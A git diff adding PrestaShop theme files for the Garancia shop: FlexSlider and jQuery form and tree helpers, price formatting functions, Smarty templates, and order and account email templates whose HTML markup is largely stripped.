e}}();return-1*i+"px"}();a.transitions&&(i=c?"translate3d(0,"+i+",0)":"translate3d("+i+",0,0)",n=void 0!==n?n/1e3+"s":"0s",a.container.css("-"+a.pfx+"-transition-duration",n),a.container.css("transition-duration",n)),a.args[a.prop]=i,(a.transitions||void 0===n)&&a.container.css(a.args),a.container.css("transform",i)},a.setup=function(e){if(v)a.slides.css({width:"100%","float":"left",marginRight:"-100%",position:"relative"}),"init"===e&&(s?a.slides.css({opacity:0,display:"block",webkitTransition:"opacity "+a.vars.animationSpeed/1e3+"s ease",zIndex:1}).eq(a.currentSlide).css({opacity:1,zIndex:2}):0==a.vars.fadeFirstSlide?a.slides.css({opacity:0,display:"block",zIndex:1}).eq(a.currentSlide).css({zIndex:2}).css({opacity:1}):a.slides.css({opacity:0,display:"block",zIndex:1}).eq(a.currentSlide).css({zIndex:2}).animate({opacity:1},a.vars.animationSpeed,a.vars.easing)),a.vars.smoothHeight&&m.smoothHeight();else{var t,i;"init"===e&&(a.viewport=$('
            ').css({overflow:"hidden",position:"relative"}).appendTo(a).append(a.container),a.cloneCount=0,a.cloneOffset=0,d&&(i=$.makeArray(a.slides).reverse(),a.slides=$(i),a.container.empty().append(a.slides))),a.vars.animationLoop&&!u&&(a.cloneCount=2,a.cloneOffset=1,"init"!==e&&a.container.find(".clone").remove(),a.container.append(m.uniqueID(a.slides.first().clone().addClass("clone")).attr("aria-hidden","true")).prepend(m.uniqueID(a.slides.last().clone().addClass("clone")).attr("aria-hidden","true"))),a.newSlides=$(a.vars.selector,a),t=d?a.count-1-a.currentSlide+a.cloneOffset:a.currentSlide+a.cloneOffset,c&&!u?(a.container.height(200*(a.count+a.cloneCount)+"%").css("position","absolute").width("100%"),setTimeout(function(){a.newSlides.css({display:"block"}),a.doMath(),a.viewport.height(a.h),a.setProps(t*a.h,"init")},"init"===e?100:0)):(a.container.width(200*(a.count+a.cloneCount)+"%"),a.setProps(t*a.computedW,"init"),setTimeout(function(){a.doMath(),a.newSlides.css({width:a.computedW,"float":"left",display:"block"}),a.vars.smoothHeight&&m.smoothHeight()},"init"===e?100:0))}u||a.slides.removeClass(n+"active-slide").eq(a.currentSlide).addClass(n+"active-slide"),a.vars.init(a)},a.doMath=function(){var e=a.slides.first(),t=a.vars.itemMargin,n=a.vars.minItems,i=a.vars.maxItems;a.w=void 0===a.viewport?a.width():a.viewport.width(),a.h=e.height(),a.boxPadding=e.outerWidth()-e.width(),u?(a.itemT=a.vars.itemWidth+t,a.minW=n?n*a.itemT:a.w,a.maxW=i?i*a.itemT-t:a.w,a.itemW=a.minW>a.w?(a.w-t*(n-1))/n:a.maxWa.w?a.w:a.vars.itemWidth,a.visible=Math.floor(a.w/a.itemW),a.move=a.vars.move>0&&a.vars.movea.w?a.itemW*(a.count-1)+t*(a.count-1):(a.itemW+t)*a.count-a.w-t):(a.itemW=a.w,a.pagingCount=a.count,a.last=a.count-1),a.computedW=a.itemW-a.boxPadding},a.update=function(e,t){a.doMath(),u||(ea.controlNav.length?m.controlNav.update("add"):("remove"===t&&!u||a.pagingCounta.last&&(a.currentSlide-=1,a.animatingTo-=1),m.controlNav.update("remove",a.last))),a.vars.directionNav&&m.directionNav.update()},a.addSlide=function(e,t){var n=$(e);a.count+=1,a.last=a.count-1,c&&d?void 0!==t?a.slides.eq(a.count-t).after(n):a.container.prepend(n):void 0!==t?a.slides.eq(t).before(n):a.container.append(n),a.update(t,"add"),a.slides=$(a.vars.selector+":not(.clone)",a),a.setup(),a.vars.added(a)},a.removeSlide=function(e){var t=isNaN(e)?a.slides.index($(e)):e;a.count-=1,a.last=a.count-1,isNaN(e)?$(e,a.slides).remove():c&&d?a.slides.eq(a.last).remove():a.slides.eq(e).remove(),a.doMath(),a.update(t,"remove"),a.slides=$(a.vars.selector+":not(.clone)",a),a.setup(),a.vars.removed(a)},m.init()},$(window).blur(function(e){focused=!1}).focus(function(e){focused=!0}),$.flexslider.defaults={namespace:"flex-",selector:".slides > li",animation:"fade",easing:"swing",direction:"horizontal",reverse:!1,animationLoop:!0,smoothHeight:!1,startAt:0,slideshow:!0,slideshowSpeed:7e3,animationSpeed:600,initDelay:0,randomize:!1,fadeFirstSlide:!0,thumbCaptions:!1,pauseOnAction:!0,pauseOnHover:!1,pauseInvisible:!0,useCSS:!0,touch:!0,video:!1,controlNav:!0,directionNav:!0,prevText:"Previous",nextText:"Next",keyboard:!0,multipleKeyboard:!1,mousewheel:!1,pausePlay:!1,pauseText:"Pause",playText:"Play",controlsContainer:"",manualControls:"",customDirectionNav:"",sync:"",asNavFor:"",itemWidth:0,itemMargin:0,minItems:1,maxItems:0,move:0,allowOneSlide:!0,start:function(){},before:function(){},after:function(){},end:function(){},added:function(){},removed:function(){},init:function(){}},$.fn.flexslider=function(e){if(void 0===e&&(e={}),"object"==typeof e)return this.each(function(){var t=$(this),a=e.selector?e.selector:".slides > li",n=t.find(a);1===n.length&&e.allowOneSlide===!0||0===n.length?(n.fadeIn(400),e.start&&e.start(t)):void 0===t.data("flexslider")&&new $.flexslider(this,e)});var t=$(this).data("flexslider");switch(e){case"play":t.play();break;case"pause":t.pause();break;case"stop":t.stop();break;case"next":t.flexAnimate(t.getTarget("next"),!0);break;case"prev":case"previous":t.flexAnimate(t.getTarget("prev"),!0);break;default:"number"==typeof e&&t.flexAnimate(e,!0)}}}(jQuery); \ No newline at end of file diff --git a/themes/default/js/tools/index.php b/themes/default/js/tools/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/js/tools/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/js/tools/statesManagement.js b/themes/default/js/tools/statesManagement.js new file mode 100755 index 0000000..d3ad11c --- /dev/null +++ b/themes/default/js/tools/statesManagement.js @@ -0,0 +1,74 @@ +$(document).ready(function() +{ + bindStateInputAndUpdate(); +}); + +function bindStateInputAndUpdate() +{ + + // $('#id_state').selectBox('destroy'); + $('.id_state, .dni, .postcode').css({'display':'none'}); + updateState(); + updateNeedIDNumber(); + updateZipCode(); + + $('select#id_country').change(function(){ + updateState(); + updateNeedIDNumber(); + updateZipCode(); + + }); + + if ($('select#id_country_invoice').length !== 0) + { + $('select#id_country_invoice').change(function(){ + updateState('invoice'); + updateNeedIDNumber('invoice'); + updateZipCode('invoice'); + }); + updateState('invoice'); + updateNeedIDNumber('invoice'); + updateZipCode('invoice'); + } + + // $('#id_state').selectBox(); + // $('#id_state').selectBox('create'); +} + +function updateState(suffix) +{ + $('select#id_state'+(suffix !== undefined ? '_'+suffix : '')+' option:not(:first-child)').remove(); + var states = countries[$('select#id_country'+(suffix !== undefined ? '_'+suffix : '')).val()]; + if(typeof(states) !== 'undefined') + { + $(states).each(function (key, item){ + $('select#id_state'+(suffix !== undefined ? '_'+suffix : '')).append(''); + }); + $('.id_state'+(suffix !== undefined ? '_'+suffix : '')+':hidden').fadeIn('slow');; + } + else + $('.id_state'+(suffix !== undefined ? '_'+suffix : '')).fadeOut('fast'); + + $('#id_state').selectBox('destroy'); + $('#id_state').selectBox(); + + // $('#id_state').next().remove(); +} + +function updateNeedIDNumber(suffix) +{ + var idCountry = parseInt($('select#id_country'+(suffix !== undefined ? '_'+suffix : '')).val()); + if ($.inArray(idCountry, countriesNeedIDNumber) >= 0) + $('.dni'+(suffix !== undefined ? '_'+suffix : '')+':hidden').fadeIn('slow'); + else + $('.dni'+(suffix !== undefined ? '_'+suffix : '')).fadeOut('fast'); +} + +function updateZipCode(suffix) +{ + var idCountry = parseInt($('select#id_country'+(suffix !== undefined ? '_'+suffix : '')).val()); + if (countriesNeedZipCode[idCountry] !== 0) + $('.postcode'+(suffix !== undefined ? '_'+suffix : '')+':hidden').fadeIn('slow'); + else + $('.postcode'+(suffix !== undefined ? '_'+suffix : '')).fadeOut('fast'); +} diff --git a/themes/default/js/tools/treeManagement.js b/themes/default/js/tools/treeManagement.js new file mode 100755 index 0000000..dc308b5 --- /dev/null +++ b/themes/default/js/tools/treeManagement.js @@ -0,0 +1,57 @@ +//animate the opening of the branch (span.grower jQueryElement) +function openBranch(jQueryElement, noAnimation) { + jQueryElement.addClass('OPEN').removeClass('CLOSE'); + if(noAnimation) + jQueryElement.parent().find('ul:first').show(); + else + jQueryElement.parent().find('ul:first').slideDown(); +} +//animate the closing of the branch (span.grower jQueryElement) +function closeBranch(jQueryElement, noAnimation) { + jQueryElement.addClass('CLOSE').removeClass('OPEN'); + if(noAnimation) + jQueryElement.parent().find('ul:first').hide(); + else + jQueryElement.parent().find('ul:first').slideUp(); +} + +//animate the closing or opening of the branch (ul jQueryElement) +function toggleBranch(jQueryElement, noAnimation) { + if(jQueryElement.hasClass('OPEN')) + closeBranch(jQueryElement, noAnimation); + else + openBranch(jQueryElement, noAnimation); +} + +//when the page is loaded... +$(document).ready(function () { + //to do not execute this script as much as it's called... + if(!$('ul.tree.dhtml').hasClass('dynamized')) + { + //add growers to each ul.tree elements + $('ul.tree.dhtml ul').prev().before(" "); + + //dynamically add the '.last' class on each last item of a branch + $('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last'); + + //collapse every expanded branch + $('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide(); + $('ul.tree.dhtml').show(); + + //open the tree for the selected branch + $('ul.tree.dhtml .selected').parents().each( function() { + if ($(this).is('ul')) + toggleBranch($(this).prev().prev(), true); + }); + toggleBranch( $('ul.tree.dhtml .selected').prev(), true); + + //add a fonction on clicks on growers + $('ul.tree.dhtml span.grower').click(function(){ + toggleBranch($(this)); + }); + //mark this 'ul.tree' elements as already 'dynamized' + $('ul.tree.dhtml').addClass('dynamized'); + + $('ul.tree.dhtml').removeClass('dhtml'); + } +}); diff --git a/themes/default/js/tools2.js b/themes/default/js/tools2.js new file mode 100755 index 0000000..4215f7a --- /dev/null +++ b/themes/default/js/tools2.js @@ -0,0 +1,251 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function ps_round(value, precision) +{ + if (typeof(roundMode) === 'undefined') + roundMode = 2; + if (typeof(precision) === 'undefined') + precision = 2; + + method = roundMode; + if (method === 0) + return ceilf(value, precision); + else if (method === 1) + return floorf(value, precision); + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + return Math.round(value * precisionFactor) / precisionFactor; +} + +function ceilf(value, precision) +{ + if (typeof(precision) === 'undefined') + precision = 0; + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + tmp = value * precisionFactor; + tmp2 = tmp.toString(); + if (tmp2[tmp2.length - 1] === 0) + return value; + return Math.ceil(value * precisionFactor) / precisionFactor; +} + +function floorf(value, precision) +{ + if (typeof(precision) === 'undefined') + precision = 0; + precisionFactor = precision === 0 ? 1 : Math.pow(10, precision); + tmp = value * precisionFactor; + tmp2 = tmp.toString(); + if (tmp2[tmp2.length - 1] === 0) + return value; + return Math.floor(value * precisionFactor) / precisionFactor; +} + +function formatedNumberToFloat(price, currencyFormat, currencySign) +{ + price = price.replace(currencySign, ''); + if (currencyFormat === 1) + return parseFloat(price.replace(',', '').replace(' ', '')); + else if (currencyFormat === 2) + return parseFloat(price.replace(' ', '').replace(',', '.')); + else if (currencyFormat === 3) + return parseFloat(price.replace('.', '').replace(' ', '').replace(',', '.')); + else if (currencyFormat === 4) + return parseFloat(price.replace(',', '').replace(' ', '')); + return price; +} + +//return a formatted price +function formatCurrency(price, currencyFormat, currencySign, currencyBlank) +{ + // if you modified this function, don't forget to modify the PHP function displayPrice (in the Tools.php class) + blank = ''; + price = parseFloat(price.toFixed(6)); + price = ps_round(price, priceDisplayPrecision); + if (currencyBlank > 0) + blank = ' '; + if (currencyFormat == 1) + return currencySign + blank + formatNumber(price, priceDisplayPrecision, ',', '.'); + if (currencyFormat == 2) + return (formatNumber(price, priceDisplayPrecision, ' ', ',') + blank + currencySign); + if (currencyFormat == 3) + return (currencySign + blank + formatNumber(price, priceDisplayPrecision, '.', ',')); + if (currencyFormat == 4) + return (formatNumber(price, priceDisplayPrecision, ',', '.') + blank + currencySign); + if (currencyFormat == 5) + return (formatNumber(price, priceDisplayPrecision, ' ', '.') + blank + currencySign); + return price; +} + +//return a formatted number +function formatNumber(value, numberOfDecimal, thousenSeparator, virgule) +{ + value = value.toFixed(numberOfDecimal); + var val_string = value+''; + var tmp = val_string.split('.'); + var abs_val_string = (tmp.length === 2) ? tmp[0] : val_string; + var deci_string = ('0.' + (tmp.length === 2 ? tmp[1] : 0)).substr(2); + var nb = abs_val_string.length; + + for (var i = 1 ; i < 4; i++) + if (value >= Math.pow(10, (3 * i))) + abs_val_string = abs_val_string.substring(0, nb - (3 * i)) + thousenSeparator + abs_val_string.substring(nb - (3 * i)); + + if (parseInt(numberOfDecimal) === 0) + return abs_val_string; + return abs_val_string + virgule + (deci_string > 0 ? deci_string : '00'); +} + +//change the text of a jQuery element with a sliding effect (velocity could be a number in ms, 'slow' or 'fast', effect1 and effect2 could be slide, fade, hide, show) +function updateTextWithEffect(jQueryElement, text, velocity, effect1, effect2, newClass) +{ + if(jQueryElement.text() !== text) + if(effect1 === 'fade') + jQueryElement.fadeOut(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity, function(){}); + }); + else if(effect1 === 'slide') + jQueryElement.slideUp(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity); + }); + else if(effect1 === 'hide') + jQueryElement.hide(velocity, function(){ + $(this).addClass(newClass); + if(effect2 === 'fade') $(this).text(text).fadeIn(velocity); + else if(effect2 === 'slide') $(this).text(text).slideDown(velocity); + else if(effect2 === 'show') $(this).text(text).show(velocity); + }); +} + +//show a JS debug +function dbg(value) +{ + var active = false;//true for active + var firefox = true;//true if debug under firefox + + if (active) + if (firefox) + console.log(value); + else + alert(value); +} + +/** +* Function : print_r() +* Arguments: The data - array,hash(associative array),object +* The level - OPTIONAL +* Returns : The textual representation of the array. +* This function was inspired by the print_r function of PHP. +* This will accept some data as the argument and return a +* text that will be a more readable version of the +* array/hash/object that is given. +*/ +function print_r(arr, level) +{ + var dumped_text = ""; + if (!level) + level = 0; + + //The padding given at the beginning of the line. + var level_padding = ""; + for (var j = 0 ; j < level + 1; j++) + level_padding += " "; + + if (typeof(arr) === 'object') + { //Array/Hashes/Objects + for (var item in arr) + { + var value = arr[item]; + if (typeof(value) === 'object') { //If it is an array, + dumped_text += level_padding + "'" + item + "' ...\n"; + dumped_text += dump(value,level+1); + } + else + { + dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n"; + } + } + } + else + { //Stings/Chars/Numbers etc. + dumped_text = "===>" + arr + "<===("+typeof(arr)+")"; + } + return dumped_text; +} + +//verify if value is in the array +function in_array(value, array) +{ + for (var i in array) + if (array[i] === value) + return true; + return false; +} + +function resizeAddressesBox(nameBox) +{ + maxHeight = 0; + + if (typeof(nameBox) === 'undefined') + nameBox = '.address'; + $(nameBox).each(function() + { + $(this).css('height', 'auto'); + currentHeight = $(this).height(); + if (maxHeight < currentHeight) + maxHeight = currentHeight; + }); + $(nameBox).height(maxHeight); +} + +$(document).ready(function() { + $.fn.checkboxChange = function(fnChecked, fnUnchecked) { + if ($(this).prop('checked') && fnChecked) + fnChecked.call(this); + else if(fnUnchecked) + fnUnchecked.call(this); + + if (!$(this).attr('eventCheckboxChange')) + { + $(this).live('change', function() { $(this).checkboxChange(fnChecked, fnUnchecked); }); + $(this).attr('eventCheckboxChange', true); + } + }; +}); + + +// Use it to simulate target blank link +$(function(){ + $('a.js-new-window').click(function(){ + window.open(this.href); + return false; + }); +}); diff --git a/themes/default/lang/index.php b/themes/default/lang/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/lang/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/layout.tpl b/themes/default/layout.tpl new file mode 100755 index 0000000..a6f2e3e --- /dev/null +++ b/themes/default/layout.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !empty($display_header)}{include file='./header.tpl' HOOK_HEADER=$HOOK_HEADER}{/if} +{if !empty($template)}{$template}{/if} +{if !empty($display_footer)}{include file='./footer.tpl'}{/if} +{if !empty($live_edit)}{$live_edit}{/if} \ No newline at end of file diff --git a/themes/default/livredor.tpl b/themes/default/livredor.tpl new file mode 100755 index 0000000..845e81d --- /dev/null +++ b/themes/default/livredor.tpl @@ -0,0 +1,28 @@ +{capture name=path}{l s='Livre d\'or'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
            +

            [{l s='Livre d\'or'}]

            +
            + {foreach from=$generationlivredor item=livredorParent key=compteur} + {if $livredorParent.children|@count>0 || $livredorParent.items|@count>0} + {if $livredorParent.items|@count>0} +
            +

            {$livredorParent.title}

            + +
            + {/if} + {/if} + {/foreach} +
            +
            + \ No newline at end of file diff --git a/themes/default/mails/en/aMRdispo.html b/themes/default/mails/en/aMRdispo.html new file mode 100755 index 0000000..dbf37b0 --- /dev/null +++ b/themes/default/mails/en/aMRdispo.html @@ -0,0 +1,70 @@ + + + + + Your Garancia parcel is available in your Point Relais + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            We are pleased to inform you that your Garancia parcel is available in your Point Relais :
             
            {adresse_point_relais}
            Please pick up your parcel within 14 days. Past this delay, your parcel will be sent back to us. 
             
            You will need to provide your ID in order to pick up your parcel. A person of your choice can also pick it up, by showing your and their ID. 
             
            Should you have any question regarding your order, please contact us on : suivicommande@garancia-beauty.com
             
            You can track your order by connecting to your personal space
             
             
            Thank you, and see you soon on www.garancia-beauty.com ! 
            Magically yours, 
            Garancia Team 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/aMRdispo.txt b/themes/default/mails/en/aMRdispo.txt new file mode 100755 index 0000000..1d6ab78 --- /dev/null +++ b/themes/default/mails/en/aMRdispo.txt @@ -0,0 +1,16 @@ +Dear {firstname} {lastname}, + +We are pleased to inform you that your Garancia parcel is available in your Point Relais : +{adresse_point_relais} + +Please pick up your parcel within 14 days. Past this delay, your parcel will be sent back to us. +You will need to provide your ID in order to pick up your parcel. A person of your choice can also pick it up, by showing your and his/her ID. + +Should you have any question regarding your order, please contact us on : suivicommande@garancia-beauty.com + +You can track your order by connecting to your personal space + +Thank you, and see you soon on www.garancia-beauty.com ! + +Magically yours, +Garancia Team \ No newline at end of file diff --git a/themes/default/mails/en/account.html b/themes/default/mails/en/account.html new file mode 100755 index 0000000..4797f16 --- /dev/null +++ b/themes/default/mails/en/account.html @@ -0,0 +1,51 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your {shop_name} login details
             
            Thank you for creating a customer account at {shop_name}.

            Here are your login details:

            E-mail address: {email}
            Password: {passwd}
             
             
            You can now place orders on our shop: {shop_name}.
             
            +

            {shop_name}

            +
            + + \ No newline at end of file diff --git a/themes/default/mails/en/account.txt b/themes/default/mails/en/account.txt new file mode 100755 index 0000000..7d6b94a --- /dev/null +++ b/themes/default/mails/en/account.txt @@ -0,0 +1,14 @@ +Hi {firstname} {lastname}, + +Thank you for creating a customer account at {shop_name}. + +Here are your login details: + +E-mail address: {email} +Password: {passwd} + +You can now place orders on our shop: {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/backoffice_order.html b/themes/default/mails/en/backoffice_order.html new file mode 100755 index 0000000..ae56cc4 --- /dev/null +++ b/themes/default/mails/en/backoffice_order.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            A new command has been generated to you.
             
            Go on {order_link} to finalize the payment.
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/backoffice_order.txt b/themes/default/mails/en/backoffice_order.txt new file mode 100755 index 0000000..6107830 --- /dev/null +++ b/themes/default/mails/en/backoffice_order.txt @@ -0,0 +1,9 @@ +Hi {firstname} {lastname}, + +A new command has been generated to you. + +Go on {order_link} to finalize the payment. + +{shop_name} - {shop_url} + +{shop_url} diff --git a/themes/default/mails/en/bankwire.html b/themes/default/mails/en/bankwire.html new file mode 100755 index 0000000..2d74eb7 --- /dev/null +++ b/themes/default/mails/en/bankwire.html @@ -0,0 +1,55 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            Your order with the reference {order_name} - Awaiting wire payment
             
            Thank you for shopping at {shop_name}!

            Your order with the reference {order_name} has been placed successfully and will be shipped as soon as we receive your payment.
             
            You have selected to pay by wire transfer.

            Here are the bank details for your wire or transfer:

            Amount: {total_paid}

            Account owner: {bankwire_owner}

            Account details:

            {bankwire_details}

            Bank address: {bankwire_address}
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/en/bankwire.txt b/themes/default/mails/en/bankwire.txt new file mode 100755 index 0000000..6d09924 --- /dev/null +++ b/themes/default/mails/en/bankwire.txt @@ -0,0 +1,26 @@ +Hi {firstname} {lastname}, + +Thank you for shopping at {shop_name}! + +Your order with the reference {order_name} has been placed successfully and will be shipped as soon as we receive your payment. + +You have selected to pay by wire transfer. + +Here are the bank details for your wire or transfer: + +Amount: {total_paid} + +Account owner: {bankwire_owner} + +Account details: +{bankwire_details} + +Bank address: {bankwire_address} + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/cheque.html b/themes/default/mails/en/cheque.html new file mode 100755 index 0000000..be87124 --- /dev/null +++ b/themes/default/mails/en/cheque.html @@ -0,0 +1,55 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Awaiting check payment
             
            Thank you for shopping at {shop_name}!

            Your order with the reference {order_name} has been placed successfully and will be shipped as soon as we receive your payment.
             
            You have selected to pay by check. Please include on your check:

            - Amount: {total_paid}

            - Payable to the order of: {cheque_name}

            Please mail your check to:

            {cheque_address_html}
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/cheque.txt b/themes/default/mails/en/cheque.txt new file mode 100755 index 0000000..44b99ac --- /dev/null +++ b/themes/default/mails/en/cheque.txt @@ -0,0 +1,23 @@ +Hi {firstname} {lastname}, + +Thank you for shopping at {shop_name}! + +Your order with the reference {order_name} has been placed successfully and will be shipped as soon as we receive your payment. + +You have selected to pay by check. Please include on your check: + +Amount: {total_paid} + +Payable to the order of: {cheque_name} + +Please mail your check to: + +{cheque_address} + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {shop_url}?controller=guest-tracking + +{shop_name} - {shop_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/mails/en/commandecommentaire.html b/themes/default/mails/en/commandecommentaire.html new file mode 100755 index 0000000..81a4a8a --- /dev/null +++ b/themes/default/mails/en/commandecommentaire.html @@ -0,0 +1,66 @@ + + + + + Your Garancia order has been sent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            We are pleased to inform you that your Garancia parcel has evolved : 
            {commentaire}
             
            You can track your order by connecting to your personal space
             
            + + + + + + + + + + + + +
            Should you have any question regarding your order, please contact us on :suivicommande@garancia-beauty.com
             
             
            +
            We dearly hope your parcel will brighten your day, 
            Magically Yours, 
            Garancia Team 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/commandecommentaire.txt b/themes/default/mails/en/commandecommentaire.txt new file mode 100755 index 0000000..5d6a1c4 --- /dev/null +++ b/themes/default/mails/en/commandecommentaire.txt @@ -0,0 +1,10 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que l'état de votre colis Garancia a évolué : +{commentaire} + +Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l’adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement vôtre, +L’équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/en/contact.html b/themes/default/mails/en/contact.html new file mode 100755 index 0000000..4f0cc49 --- /dev/null +++ b/themes/default/mails/en/contact.html @@ -0,0 +1,67 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + +
             
              {shop_name}  
             
              + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            Hello, 
            You have received a message from a client of {shop_name}.
             
            Information :
            {contact_civilite} {contact_nom} {contact_prenom}
            {contact_adresse}
            {contact_cp} {contact_ville}
            {contact_pays}
            {contact_tel}
            {email}
             
            Message:
            {message}
             
            {shop_name}
            Copyright © 2015 Laboratoire Garancia, All Rights Reserved
            Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
            +
             
             
            + + \ No newline at end of file diff --git a/themes/default/mails/en/contact.txt b/themes/default/mails/en/contact.txt new file mode 100755 index 0000000..35e1fa7 --- /dev/null +++ b/themes/default/mails/en/contact.txt @@ -0,0 +1,11 @@ +Dear merchant, + +You have received a message from a customer via your shop: {shop_name} + +Customer e-mail address: {email} + +Customer message: + +{message} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/contact_form.html b/themes/default/mails/en/contact_form.html new file mode 100755 index 0000000..c8085bc --- /dev/null +++ b/themes/default/mails/en/contact_form.html @@ -0,0 +1,61 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + +
             
              {shop_name}  
             
              + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            Dear customer, 
            We thank you for your interest in Laboratoire Garancia and confirm that we have received your message.
             
            Your message :
            {message}
             
            We will answer as soon as possible.
            Garancia Team
            {shop_name}
            Copyright © 2015 Laboratoire Garancia, All Rights Reserved
            Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
            +
             
             
